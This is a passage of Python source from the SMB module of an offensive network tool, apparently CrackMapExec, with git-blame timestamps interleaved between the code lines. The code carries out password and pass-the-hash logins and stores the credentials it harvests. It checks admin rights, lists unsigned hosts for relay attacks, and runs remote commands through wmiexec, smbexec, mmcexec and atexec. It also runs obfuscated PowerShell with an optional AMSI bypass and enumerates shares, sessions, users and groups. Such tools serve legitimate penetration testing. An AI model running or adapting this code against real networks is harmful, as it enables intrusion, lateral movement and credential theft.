self . check_if_admin ( )
2023-03-12 07:01:50 +00:00
self . logger . debug ( f " Adding credential: { domain } / { self . username } : { self . password } " )
2023-03-17 13:58:12 +00:00
self . db . add_credential ( ' plaintext ' , domain , self . username , self . password )
user_id = self . db . get_credential ( ' plaintext ' , domain , self . username , self . password )
2023-03-12 07:01:50 +00:00
host_id = self . db . get_hosts ( self . host ) [ 0 ] . id
2023-03-12 00:44:12 +00:00
2023-03-12 02:25:23 +00:00
self . db . add_loggedin_relation ( user_id , host_id )
2016-12-15 07:28:00 +00:00
if self . admin_privs :
2023-03-12 00:44:12 +00:00
self . logger . debug ( f " Adding admin user: { self . domain } / { self . username } : { self . password } @ { self . host } " )
2023-03-12 07:01:50 +00:00
self . db . add_admin_user ( ' plaintext ' , domain , self . username , self . password , self . host , user_id = user_id )
2016-12-15 07:28:00 +00:00
2023-03-04 14:11:31 +00:00
out = u ' {} \\ {} : {} {} ' . format (
domain ,
self . username ,
2023-03-14 05:24:42 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2023-03-04 14:11:31 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' )
)
2016-12-15 07:28:00 +00:00
self . logger . success ( out )
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2018-05-27 01:44:24 +00:00
if not self . args . continue_on_success :
return True
2023-03-04 14:11:31 +00:00
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
elif self . signing :
2020-05-09 13:36:31 +00:00
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2023-03-04 14:11:31 +00:00
except SessionError as e :
2016-12-15 07:28:00 +00:00
error , desc = e . getErrorString ( )
2023-03-04 14:11:31 +00:00
self . logger . error ( u ' {} \\ {} : {} {} {} ' . format (
domain ,
self . username ,
2023-03-14 05:24:42 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2023-03-04 14:11:31 +00:00
error ,
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) ,
color = ' magenta ' if error in smb_error_status else ' red '
)
2023-03-14 05:24:42 +00:00
if error not in smb_error_status :
2020-06-20 22:16:37 +00:00
self . inc_failed_login ( username )
return False
2021-12-11 13:57:37 +00:00
except ( ConnectionResetError , NetBIOSTimeout , NetBIOSError ) as e :
self . logger . error ( ' Connection Error: {} ' . format ( e ) )
return False
2016-12-15 07:28:00 +00:00
def hash_login ( self , domain , username , ntlm_hash ) :
2023-03-04 14:11:31 +00:00
# Re-connect since we logged off
2021-09-21 14:36:52 +00:00
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
lmhash = ' '
nthash = ' '
try :
2022-02-10 21:36:07 +00:00
2021-10-17 15:50:29 +00:00
if not self . args . laps :
self . username = username
2023-03-04 14:11:31 +00:00
# This checks to see if we didn't provide the LM Hash
2022-02-10 21:36:07 +00:00
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
2022-02-11 21:38:39 +00:00
self . hash = nthash
2022-02-10 21:36:07 +00:00
else :
nthash = ntlm_hash
2022-02-11 21:38:39 +00:00
self . hash = ntlm_hash
2022-02-10 21:36:07 +00:00
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
else :
nthash = self . hash
2023-03-14 05:24:42 +00:00
2016-12-15 07:28:00 +00:00
self . domain = domain
2023-03-10 06:12:59 +00:00
try :
self . conn . login ( self . username , ' ' , domain , lmhash , nthash )
except BrokenPipeError as e :
self . logger . error ( f " Broken Pipe Error while attempting to login " )
2020-06-20 22:16:37 +00:00
2016-12-15 07:28:00 +00:00
self . check_if_admin ( )
2023-03-12 07:01:50 +00:00
user_id = self . db . add_credential ( ' hash ' , domain , self . username , nthash )
host_id = self . db . get_hosts ( self . host ) [ 0 ] . id
self . db . add_loggedin_relation ( user_id , host_id )
2016-12-15 07:28:00 +00:00
if self . admin_privs :
2023-03-12 07:01:50 +00:00
self . db . add_admin_user ( ' hash ' , domain , self . username , nthash , self . host , user_id = user_id )
2016-12-15 07:28:00 +00:00
2023-03-04 14:11:31 +00:00
out = u ' {} \\ {} : {} {} ' . format (
domain ,
self . username ,
2023-03-14 05:24:42 +00:00
self . hash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2023-03-04 14:11:31 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' )
)
2016-12-15 07:28:00 +00:00
self . logger . success ( out )
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2018-05-27 01:44:24 +00:00
if not self . args . continue_on_success :
return True
2020-05-09 13:36:31 +00:00
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self . signing :
try :
self . conn . logoff ( )
except :
pass
self . create_conn_obj ( )
2023-03-04 14:11:31 +00:00
except SessionError as e :
2016-12-15 07:28:00 +00:00
error , desc = e . getErrorString ( )
2023-03-04 14:11:31 +00:00
self . logger . error ( u ' {} \\ {} : {} {} {} ' . format (
domain ,
self . username ,
2023-03-14 05:24:42 +00:00
self . hash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2023-03-04 14:11:31 +00:00
error ,
' ( {} ) ' . format ( desc ) if self . args . verbose else ' ' ) ,
color = ' magenta ' if error in smb_error_status else ' red '
)
2016-12-15 07:28:00 +00:00
2023-03-14 05:24:42 +00:00
if error not in smb_error_status :
2021-10-17 15:50:29 +00:00
self . inc_failed_login ( self . username )
2020-06-20 22:16:37 +00:00
return False
2021-12-11 13:57:37 +00:00
except ( ConnectionResetError , NetBIOSTimeout , NetBIOSError ) as e :
self . logger . error ( ' Connection Error: {} ' . format ( e ) )
return False
2016-12-15 07:28:00 +00:00
2022-11-10 09:17:01 +00:00
def create_smbv1_conn ( self , kdc = ' ' ) :
2016-12-15 07:28:00 +00:00
try :
2023-03-14 05:24:42 +00:00
self . conn = SMBConnection ( self . host if not kdc else kdc , self . host if not kdc else kdc , None ,
self . args . port , preferredDialect = SMB_DIALECT , timeout = self . args . smb_timeout )
2017-05-15 04:44:49 +00:00
self . smbv1 = True
except socket . error as e :
if str ( e ) . find ( ' Connection reset by peer ' ) != - 1 :
2022-11-10 09:17:01 +00:00
logging . debug ( ' SMBv1 might be disabled on {} ' . format ( self . host if not kdc else kdc ) )
2017-05-15 04:44:49 +00:00
return False
2021-09-18 20:33:36 +00:00
except ( Exception , NetBIOSTimeout ) as e :
2022-11-10 09:17:01 +00:00
logging . debug ( ' Error creating SMBv1 connection to {} : {} ' . format ( self . host if not kdc else kdc , e ) )
2017-05-15 04:44:49 +00:00
return False
return True
2022-11-10 09:17:01 +00:00
def create_smbv3_conn ( self , kdc = ' ' ) :
2017-05-15 04:44:49 +00:00
try :
2023-03-14 05:24:42 +00:00
self . conn = SMBConnection ( self . host if not kdc else kdc , self . host if not kdc else kdc , None ,
self . args . port , timeout = self . args . smb_timeout )
2017-05-15 04:44:49 +00:00
self . smbv1 = False
2022-10-13 12:20:11 +00:00
except socket . error as e :
2022-09-22 22:05:18 +00:00
if str ( e ) . find ( ' Too many open files ' ) != - 1 :
2022-11-10 09:17:01 +00:00
self . logger . error ( ' SMBv3 connection error on {} : {} ' . format ( self . host if not kdc else kdc , e ) )
2016-12-15 07:28:00 +00:00
return False
2021-09-18 20:33:36 +00:00
except ( Exception , NetBIOSTimeout ) as e :
2022-11-10 09:17:01 +00:00
logging . debug ( ' Error creating SMBv3 connection to {} : {} ' . format ( self . host if not kdc else kdc , e ) )
2017-04-05 15:07:00 +00:00
return False
2016-12-15 07:28:00 +00:00
return True
2022-11-10 09:17:01 +00:00
def create_conn_obj ( self , kdc = ' ' ) :
if self . create_smbv1_conn ( kdc ) :
2017-05-15 04:44:49 +00:00
return True
2022-11-10 09:17:01 +00:00
elif self . create_smbv3_conn ( kdc ) :
2017-05-15 04:44:49 +00:00
return True
return False
2016-12-15 07:28:00 +00:00
def check_if_admin ( self ) :
2022-10-24 09:26:53 +00:00
rpctransport = SMBTransport ( self . conn . getRemoteHost ( ) , 445 , r ' \ svcctl ' , smb_connection = self . conn )
dce = rpctransport . get_dce_rpc ( )
try :
dce . connect ( )
except :
pass
else :
dce . bind ( scmr . MSRPC_UUID_SCMR )
try :
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
2023-03-14 05:24:42 +00:00
ans = scmr . hROpenSCManagerW ( dce , f " { self . host } \x00 " , " ServicesActive \x00 " , 0xF003F )
2022-10-24 09:26:53 +00:00
self . admin_privs = True
except scmr . DCERPCException as e :
self . admin_privs = False
pass
return
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
def gen_relay_list ( self ) :
if self . server_os . lower ( ) . find ( ' windows ' ) != - 1 and self . signing is False :
with sem :
with open ( self . args . gen_relay_list , ' a+ ' ) as relay_list :
if self . host not in relay_list . read ( ) :
relay_list . write ( self . host + ' \n ' )
2016-12-15 07:28:00 +00:00
@requires_admin
2023-03-04 14:11:31 +00:00
# @requires_smb_server
2016-12-15 07:28:00 +00:00
def execute ( self , payload = None , get_output = False , methods = None ) :
2023-03-04 14:11:31 +00:00
if self . args . exec_method :
methods = [ self . args . exec_method ]
if not methods :
methods = [ ' wmiexec ' , ' smbexec ' , ' mmcexec ' , ' atexec ' ]
2016-12-15 07:28:00 +00:00
if not payload and self . args . execute :
payload = self . args . execute
if not self . args . no_output : get_output = True
for method in methods :
if method == ' wmiexec ' :
try :
2023-03-14 05:24:42 +00:00
exec_method = WMIEXEC (
self . host if not self . kerberos else self . hostname + ' . ' + self . domain ,
self . smb_share_name ,
self . username ,
self . password ,
self . domain ,
self . conn ,
self . kerberos ,
self . aesKey ,
self . kdcHost ,
self . hash ,
self . args . share
)
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via wmiexec ' )
break
except :
logging . debug ( ' Error executing command via wmiexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
2017-03-27 21:09:36 +00:00
elif method == ' mmcexec ' :
try :
2023-03-14 05:24:42 +00:00
exec_method = MMCEXEC (
self . host if not self . kerberos else self . hostname + ' . ' + self . domain ,
self . smb_share_name ,
self . username ,
self . password ,
self . domain ,
self . conn ,
self . hash
)
2017-03-27 21:09:36 +00:00
logging . debug ( ' Executed command via mmcexec ' )
break
except :
logging . debug ( ' Error executing command via mmcexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
2016-12-15 07:28:00 +00:00
elif method == ' atexec ' :
try :
2023-03-14 05:24:42 +00:00
exec_method = TSCH_EXEC (
self . host if not self . kerberos else self . hostname + ' . ' + self . domain ,
self . smb_share_name ,
self . username ,
self . password ,
self . domain ,
self . kerberos ,
self . aesKey ,
self . kdcHost ,
self . hash
) # self.args.share)
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via atexec ' )
break
except :
logging . debug ( ' Error executing command via atexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
elif method == ' smbexec ' :
try :
2023-03-14 05:24:42 +00:00
exec_method = SMBEXEC (
self . host if not self . kerberos else self . hostname + ' . ' + self . domain ,
self . smb_share_name ,
self . conn ,
self . args . port ,
self . username ,
self . password ,
self . domain ,
self . kerberos ,
self . aesKey ,
self . kdcHost ,
self . hash ,
self . args . share
)
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via smbexec ' )
break
except :
logging . debug ( ' Error executing command via smbexec, traceback: ' )
logging . debug ( format_exc ( ) )
continue
2023-03-04 14:11:31 +00:00
if hasattr ( self , ' server ' ) :
self . server . track_host ( self . host )
2016-12-15 07:28:00 +00:00
2022-04-26 13:58:03 +00:00
output = exec_method . execute ( payload , get_output )
try :
if not isinstance ( output , str ) :
output = output . decode ( self . args . codec )
except UnicodeDecodeError :
2023-03-14 05:24:42 +00:00
logging . debug ( " Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings " )
2022-04-26 13:58:03 +00:00
output = output . decode ( ' cp437 ' )
output = u ' {} ' . format ( output . strip ( ) )
2016-12-15 07:28:00 +00:00
if self . args . execute or self . args . ps_execute :
2023-03-14 05:24:42 +00:00
self . logger . success ( f " Executed command { self . args . exec_method if self . args . exec_method else ' ' } " )
2016-12-15 07:28:00 +00:00
buf = StringIO ( output ) . readlines ( )
for line in buf :
self . logger . highlight ( line . strip ( ) )
return output
@requires_admin
2017-10-25 06:45:58 +00:00
def ps_execute ( self , payload = None , get_output = False , methods = None , force_ps32 = False , dont_obfs = False ) :
2016-12-15 07:28:00 +00:00
if not payload and self . args . ps_execute :
payload = self . args . ps_execute
if not self . args . no_output : get_output = True
2023-03-14 05:24:42 +00:00
amsi_bypass = self . args . amsi_bypass [ 0 ] if self . args . amsi_bypass else None
2020-04-27 20:37:01 +00:00
if os . path . isfile ( payload ) :
with open ( payload ) as commands :
for c in commands :
2023-03-14 05:24:42 +00:00
self . execute (
create_ps_command (
c ,
force_ps32 = force_ps32 ,
dont_obfs = dont_obfs ,
custom_amsi = amsi_bypass
) ,
get_output ,
methods
)
2020-04-27 20:37:01 +00:00
else :
2023-03-14 05:24:42 +00:00
self . execute (
create_ps_command (
payload ,
force_ps32 = force_ps32 ,
dont_obfs = dont_obfs ,
custom_amsi = amsi_bypass
) ,
get_output ,
methods
)
2020-04-27 20:37:01 +00:00
return ' '
2016-12-15 07:28:00 +00:00
def shares ( self ) :
temp_dir = ntpath . normpath ( " \\ " + gen_random_string ( ) )
2023-03-24 16:44:21 +00:00
permissions = [ ]
2020-12-09 22:12:58 +00:00
try :
2023-03-12 07:01:50 +00:00
self . logger . debug ( f " domain: { self . domain } " )
2020-12-09 22:12:58 +00:00
user_id = self . db . get_user (
self . domain . split ( ' . ' ) [ 0 ] . upper ( ) ,
self . username
) [ 0 ] [ 0 ]
2023-03-04 13:44:28 +00:00
except Exception as e :
error = get_error_string ( e )
self . logger . error ( f " Error getting user: { error } " )
2021-01-29 10:53:40 +00:00
pass
2016-12-15 07:28:00 +00:00
try :
2023-03-24 16:44:21 +00:00
shares = self . conn . listShares ( )
logging . debug ( f " Shares returned: { shares } " )
except SessionError as e :
2023-03-25 20:10:31 +00:00
error = get_error_string ( e )
self . logger . error ( ' Error enumerating shares: {} ' . format ( error ) , color = ' magenta ' if error in smb_error_status else ' red ' )
2023-03-24 16:44:21 +00:00
return permissions
except Exception as e :
2023-03-25 20:10:31 +00:00
error = get_error_string ( e )
self . logger . error ( ' Error enumerating shares: {} ' . format ( error ) , color = ' magenta ' if error in smb_error_status else ' red ' )
2023-03-24 16:44:21 +00:00
return permissions
for share in shares :
share_name = share [ ' shi1_netname ' ] [ : - 1 ]
share_remark = share [ ' shi1_remark ' ] [ : - 1 ]
share_info = {
' name ' : share_name ,
' remark ' : share_remark ,
' access ' : [ ]
}
read = False
write = False
try :
self . conn . listPath ( share_name , ' * ' )
read = True
share_info [ ' access ' ] . append ( ' READ ' )
except SessionError as e :
error = get_error_string ( e )
logging . debug ( f " Error checking READ access on share: { error } " )
pass
try :
self . conn . createDirectory ( share_name , temp_dir )
self . conn . deleteDirectory ( share_name , temp_dir )
write = True
share_info [ ' access ' ] . append ( ' WRITE ' )
except SessionError as e :
error = get_error_string ( e )
logging . debug ( f " Error checking WRITE access on share: { error } " )
pass
2016-12-15 07:28:00 +00:00
2023-03-24 16:44:21 +00:00
permissions . append ( share_info )
if share_name != " IPC$ " :
2016-12-15 07:28:00 +00:00
try :
2023-03-24 16:44:21 +00:00
# TODO: check if this already exists in DB before adding
self . db . add_share ( self . hostname , user_id , share_name , share_remark , read , write )
except Exception as e :
2023-03-04 13:44:28 +00:00
error = get_error_string ( e )
2023-03-24 16:44:21 +00:00
logging . debug ( f " Error adding share: { error } " )
2016-12-15 07:28:00 +00:00
pass
2023-03-24 16:44:21 +00:00
self . logger . success ( ' Enumerated shares ' )
self . logger . highlight ( ' {:<15} {:<15} {} ' . format ( ' Share ' , ' Permissions ' , ' Remark ' ) )
self . logger . highlight ( ' {:<15} {:<15} {} ' . format ( ' ----- ' , ' ----------- ' , ' ------ ' ) )
for share in permissions :
name = share [ ' name ' ]
remark = share [ ' remark ' ]
perms = share [ ' access ' ]
2016-12-15 07:28:00 +00:00
2023-03-24 16:44:21 +00:00
if self . args . filter_shares and self . args . filter_shares != perms :
continue
self . logger . highlight ( u ' {:<15} {:<15} {} ' . format ( name , ' , ' . join ( perms ) , remark ) )
2017-04-07 04:34:30 +00:00
return permissions
2017-03-27 21:09:36 +00:00
def get_dc_ips ( self ) :
dc_ips = [ ]
2017-04-07 04:34:30 +00:00
for dc in self . db . get_domain_controllers ( domain = self . domain ) :
dc_ips . append ( dc [ 1 ] )
2017-03-27 21:09:36 +00:00
if not dc_ips :
2017-04-07 04:34:30 +00:00
dc_ips . append ( self . host )
2017-03-27 21:09:36 +00:00
return dc_ips
2016-12-15 07:28:00 +00:00
2021-01-27 10:49:23 +00:00
def sessions ( self ) :
2020-12-09 22:12:58 +00:00
try :
sessions = get_netsession ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
self . logger . success ( ' Enumerated sessions ' )
for session in sessions :
if session . sesi10_cname . find ( self . local_ip ) == - 1 :
self . logger . highlight ( ' {:<25} User: {} ' . format ( session . sesi10_cname , session . sesi10_username ) )
return sessions
except :
2023-03-14 05:24:42 +00:00
pass
2016-12-15 07:28:00 +00:00
def disks ( self ) :
2020-06-20 22:16:37 +00:00
disks = [ ]
try :
disks = get_localdisks ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
self . logger . success ( ' Enumerated disks ' )
for disk in disks :
self . logger . highlight ( disk . disk )
except Exception as e :
error , desc = e . getErrorString ( )
2023-03-14 05:24:42 +00:00
self . logger . error (
f " Error enumerating disks: { error } " ,
color = ' magenta ' if error in smb_error_status else ' red '
)
2017-03-27 21:09:36 +00:00
return disks
def local_groups ( self ) :
2017-04-07 04:34:30 +00:00
groups = [ ]
2023-03-04 14:11:31 +00:00
# To enumerate local groups the DC IP is optional
# if specified it will resolve the SIDs and names of any domain accounts in the local group
2017-03-27 21:09:36 +00:00
for dc_ip in self . get_dc_ips ( ) :
try :
2023-03-04 14:11:31 +00:00
groups = get_netlocalgroup (
self . host ,
dc_ip ,
' ' ,
self . username ,
self . password ,
self . lmhash ,
self . nthash ,
queried_groupname = self . args . local_groups ,
list_groups = True if not self . args . local_groups else False ,
recurse = False
)
2017-03-27 21:09:36 +00:00
if self . args . local_groups :
self . logger . success ( ' Enumerated members of local group ' )
else :
self . logger . success ( ' Enumerated local groups ' )
for group in groups :
if group . name :
if not self . args . local_groups :
2023-03-05 02:08:48 +00:00
self . logger . highlight ( ' {:<40} membercount: {} ' . format (
group . name ,
group . membercount
) )
2023-03-17 16:54:37 +00:00
group_id = self . db . add_group (
2023-03-05 02:08:48 +00:00
self . hostname ,
group . name ,
member_count_ad = group . membercount
2023-03-17 16:54:37 +00:00
) [ 0 ]
2017-03-27 21:09:36 +00:00
else :
domain , name = group . name . split ( ' / ' )
2023-03-12 07:01:50 +00:00
self . logger . highlight ( f " domain: { domain } , name: { name } " )
2023-03-05 02:08:48 +00:00
self . logger . highlight ( ' {} \\ {} ' . format (
domain . upper ( ) ,
name
) )
2017-03-30 00:03:04 +00:00
try :
2023-03-05 02:08:48 +00:00
group_id = self . db . get_groups (
group_name = self . args . local_groups ,
group_domain = domain
) [ 0 ] [ 0 ]
2017-03-30 00:03:04 +00:00
except IndexError :
2023-03-05 02:08:48 +00:00
group_id = self . db . add_group (
domain ,
self . args . local_groups ,
member_count_ad = group . membercount
2023-03-17 16:54:37 +00:00
) [ 0 ]
2017-03-27 21:09:36 +00:00
2023-03-04 14:11:31 +00:00
# yo dawg, I hear you like groups.
# So I put a domain group as a member of a local group which is also a member of another local group.
2017-03-27 21:09:36 +00:00
# (╯°□°)╯︵ ┻━┻
if not group . isgroup :
2023-03-12 07:01:50 +00:00
self . db . add_credential ( " plaintext " , domain , name , " " , group_id , " " )
2017-03-27 21:09:36 +00:00
elif group . isgroup :
2023-03-05 02:08:48 +00:00
self . db . add_group ( domain , name , member_count_ad = group . membercount )
2017-04-07 04:34:30 +00:00
break
2023-03-24 17:08:47 +00:00
except SessionError as e :
self . logger . error ( f " Error connecting via SMB: { e } " )
2017-03-27 21:09:36 +00:00
except Exception as e :
self . logger . error ( ' Error enumerating local groups of {} : {} ' . format ( self . host , e ) )
2023-03-12 16:41:02 +00:00
self . logger . info ( ' Trying with SAMRPC protocol ' )
groups = SamrFunc ( self ) . get_local_groups ( )
if groups :
self . logger . success ( ' Enumerated local groups ' )
logging . debug ( f " Local groups: { groups } " )
for group_name , group_rid in groups . items ( ) :
group_id = self . db . add_group (
self . hostname ,
group_name ,
rid = group_rid
2023-03-17 16:54:37 +00:00
) [ 0 ]
2023-03-12 16:41:02 +00:00
logging . debug ( f " Added group, returned id: { group_id } " )
2017-04-07 04:34:30 +00:00
return groups
2017-03-27 21:09:36 +00:00
2018-02-20 12:57:23 +00:00
def domainfromdsn ( self , dsn ) :
dsnparts = dsn . split ( ' , ' )
domain = " "
for part in dsnparts :
2023-03-04 14:11:31 +00:00
k , v = part . split ( " = " )
2018-02-20 12:57:23 +00:00
if k == " DC " :
2023-03-04 14:11:31 +00:00
if domain == " " :
2018-02-20 12:57:23 +00:00
domain = v
else :
2023-03-04 14:11:31 +00:00
domain = domain + " . " + v
2018-02-20 12:57:23 +00:00
return domain
2021-06-24 18:37:54 +00:00
def domainfromdnshostname ( self , dns ) :
dnsparts = dns . split ( " . " )
domain = " . " . join ( dnsparts [ 1 : ] )
2023-03-14 05:24:42 +00:00
return domain , dnsparts [ 0 ] + " $ "
2021-06-24 18:37:54 +00:00
2017-04-07 04:34:30 +00:00
def groups ( self ) :
groups = [ ]
for dc_ip in self . get_dc_ips ( ) :
2017-03-30 00:03:04 +00:00
if self . args . groups :
2017-04-07 04:34:30 +00:00
try :
2023-03-04 14:11:31 +00:00
groups = get_netgroupmember (
dc_ip ,
self . domain ,
self . username ,
password = self . password ,
lmhash = self . lmhash ,
nthash = self . nthash ,
queried_groupname = self . args . groups ,
queried_sid = str ( ) ,
queried_domain = str ( ) ,
ads_path = str ( ) ,
recurse = False ,
use_matching_rule = False ,
full_data = False ,
custom_filter = str ( )
)
2017-04-07 04:34:30 +00:00
self . logger . success ( ' Enumerated members of domain group ' )
for group in groups :
2023-03-05 02:08:48 +00:00
member_count = len ( group . member ) if hasattr ( group , ' member ' ) else 0
self . logger . highlight ( ' {} \\ {} ' . format (
group . memberdomain ,
group . membername
) )
2017-04-07 04:34:30 +00:00
try :
2023-03-05 02:08:48 +00:00
group_id = self . db . get_groups (
group_name = self . args . groups ,
group_domain = group . groupdomain
) [ 0 ] [ 0 ]
2017-04-07 04:34:30 +00:00
except IndexError :
2023-03-17 16:54:37 +00:00
group_id = self . db . add_group (
2023-03-05 02:08:48 +00:00
group . groupdomain ,
self . args . groups ,
member_count_ad = member_count
2023-03-17 16:54:37 +00:00
) [ 0 ]
2017-04-07 04:34:30 +00:00
if not group . isgroup :
2023-03-12 07:01:50 +00:00
self . db . add_credential ( " plaintext " , group . memberdomain , group . membername , " " , group_id , " " )
2017-04-07 04:34:30 +00:00
elif group . isgroup :
2023-03-17 16:54:37 +00:00
group_id = self . db . add_group (
2023-03-05 02:08:48 +00:00
group . groupdomain ,
group . groupname ,
member_count_ad = member_count
2023-03-17 16:54:37 +00:00
) [ 0 ]
2017-04-07 04:34:30 +00:00
break
except Exception as e :
self . logger . error ( ' Error enumerating domain group members using dc ip {} : {} ' . format ( dc_ip , e ) )
2017-03-30 00:03:04 +00:00
else :
2017-04-07 04:34:30 +00:00
try :
2023-03-04 14:11:31 +00:00
groups = get_netgroup (
dc_ip ,
self . domain ,
self . username ,
password = self . password ,
lmhash = self . lmhash ,
nthash = self . nthash ,
queried_groupname = str ( ) ,
queried_sid = str ( ) ,
queried_username = str ( ) ,
queried_domain = str ( ) ,
ads_path = str ( ) ,
admin_count = False ,
full_data = True ,
custom_filter = str ( )
)
2017-04-07 04:34:30 +00:00
self . logger . success ( ' Enumerated domain group(s) ' )
for group in groups :
2023-03-05 02:08:48 +00:00
member_count = len ( group . member ) if hasattr ( group , ' member ' ) else 0
self . logger . highlight ( ' {:<40} membercount: {} ' . format (
group . samaccountname ,
member_count
) )
2017-04-07 04:34:30 +00:00
if bool ( group . isgroup ) is True :
2023-03-05 02:08:48 +00:00
# Since there isn't a groupmember attribute on the returned object from get_netgroup
2023-03-04 14:11:31 +00:00
# we grab it from the distinguished name
2018-02-20 12:57:23 +00:00
domain = self . domainfromdsn ( group . distinguishedname )
2023-03-17 16:54:37 +00:00
group_id = self . db . add_group (
2023-03-05 02:08:48 +00:00
domain ,
group . samaccountname ,
member_count_ad = member_count
2023-03-17 16:54:37 +00:00
) [ 0 ]
2017-04-07 04:34:30 +00:00
break
except Exception as e :
self . logger . error ( ' Error enumerating domain group using dc ip {} : {} ' . format ( dc_ip , e ) )
return groups
2017-03-27 21:09:36 +00:00
def users ( self ) :
2017-04-07 04:34:30 +00:00
users = [ ]
2023-03-26 10:14:18 +00:00
self . logger . info ( ' Trying do dump local users with SAMRPC protocol ' )
2023-03-26 10:08:52 +00:00
users = UserSamrDump ( self ) . dump ( )
2017-04-07 04:34:30 +00:00
return users
2016-12-15 07:28:00 +00:00
2023-03-12 02:25:23 +00:00
def hosts ( self ) :
hosts = [ ]
2021-06-24 18:37:54 +00:00
for dc_ip in self . get_dc_ips ( ) :
try :
2023-03-12 02:25:23 +00:00
hosts = get_netcomputer (
2023-03-04 14:11:31 +00:00
dc_ip ,
self . domain ,
self . username ,
password = self . password ,
lmhash = self . lmhash ,
nthash = self . nthash ,
queried_domain = ' ' ,
ads_path = str ( ) ,
custom_filter = str ( )
)
2021-06-24 18:37:54 +00:00
self . logger . success ( ' Enumerated domain computer(s) ' )
2023-03-12 02:25:23 +00:00
for hosts in hosts :
domain , host_clean = self . domainfromdnshostname ( hosts . dnshostname )
self . logger . highlight ( ' {} \\ {:<30} ' . format ( domain , host_clean ) )
2021-06-24 18:37:54 +00:00
break
except Exception as e :
2023-03-12 02:25:23 +00:00
self . logger . error ( ' Error enumerating domain hosts using dc ip {} : {} ' . format ( dc_ip , e ) )
2021-06-24 18:37:54 +00:00
break
2023-03-12 02:25:23 +00:00
return hosts
2021-06-24 18:37:54 +00:00
2017-03-27 21:09:36 +00:00
def loggedon_users ( self ) :
2023-03-04 14:11:31 +00:00
logged_on = [ ]
2017-04-07 04:34:30 +00:00
try :
2023-03-04 14:11:31 +00:00
logged_on = get_netloggedon (
self . host ,
self . domain ,
self . username ,
self . password ,
lmhash = self . lmhash ,
nthash = self . nthash
)
self . logger . success ( ' Enumerated logged_on users ' )
if self . args . loggedon_users_filter :
for user in logged_on :
if re . match ( self . args . loggedon_users_filter , user . wkui1_username ) :
self . logger . highlight ( ' {} \\ {:<25} {} ' . format (
user . wkui1_logon_domain ,
user . wkui1_username ,
' logon_server: {} ' . format (
user . wkui1_logon_server
) if user . wkui1_logon_server else ' ' )
)
2022-04-27 09:04:23 +00:00
else :
2023-03-04 14:11:31 +00:00
for user in logged_on :
self . logger . highlight ( ' {} \\ {:<25} {} ' . format (
user . wkui1_logon_domain ,
user . wkui1_username ,
' logon_server: {} ' . format (
user . wkui1_logon_server
) if user . wkui1_logon_server else ' ' )
)
2017-04-07 04:34:30 +00:00
except Exception as e :
self . logger . error ( ' Error enumerating logged on users: {} ' . format ( e ) )
2023-03-04 14:11:31 +00:00
return logged_on
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
def pass_pol ( self ) :
2017-04-10 07:24:23 +00:00
return PassPolDump ( self ) . dump ( )
2017-04-05 15:07:00 +00:00
def wmi ( self , wmi_query = None , namespace = None ) :
records = [ ]
if not namespace :
namespace = self . args . wmi_namespace
try :
rpc = RPCRequester ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
rpc . _create_wmi_connection ( namespace = namespace )
if wmi_query :
query = rpc . _wmi_connection . ExecQuery ( wmi_query , lFlags = WBEM_FLAG_FORWARD_ONLY )
else :
query = rpc . _wmi_connection . ExecQuery ( self . args . wmi , lFlags = WBEM_FLAG_FORWARD_ONLY )
except Exception as e :
self . logger . error ( ' Error creating WMI connection: {} ' . format ( e ) )
return records
while True :
try :
wmi_results = query . Next ( 0xffffffff , 1 ) [ 0 ]
record = wmi_results . getProperties ( )
records . append ( record )
2023-03-14 05:24:42 +00:00
for k , v in record . items ( ) :
self . logger . highlight ( ' {} => {} ' . format ( k , v [ ' value ' ] ) )
2017-04-07 04:34:30 +00:00
self . logger . highlight ( ' ' )
2017-04-05 15:07:00 +00:00
except Exception as e :
if str ( e ) . find ( ' S_FALSE ' ) < 0 :
raise e
else :
break
return records
2023-03-14 05:24:42 +00:00
def spider ( self , share = None , folder = ' . ' , pattern = [ ] , regex = [ ] , exclude_dirs = [ ] , depth = None , content = False , only_files = True ) :
2017-04-05 15:07:00 +00:00
spider = SMBSpider ( self . conn , self . logger )
self . logger . info ( ' Started spidering ' )
start_time = time ( )
if not share :
2017-10-25 02:08:19 +00:00
spider . spider ( self . args . spider , self . args . spider_folder , self . args . pattern ,
self . args . regex , self . args . exclude_dirs , self . args . depth ,
2017-04-05 15:07:00 +00:00
self . args . content , self . args . only_files )
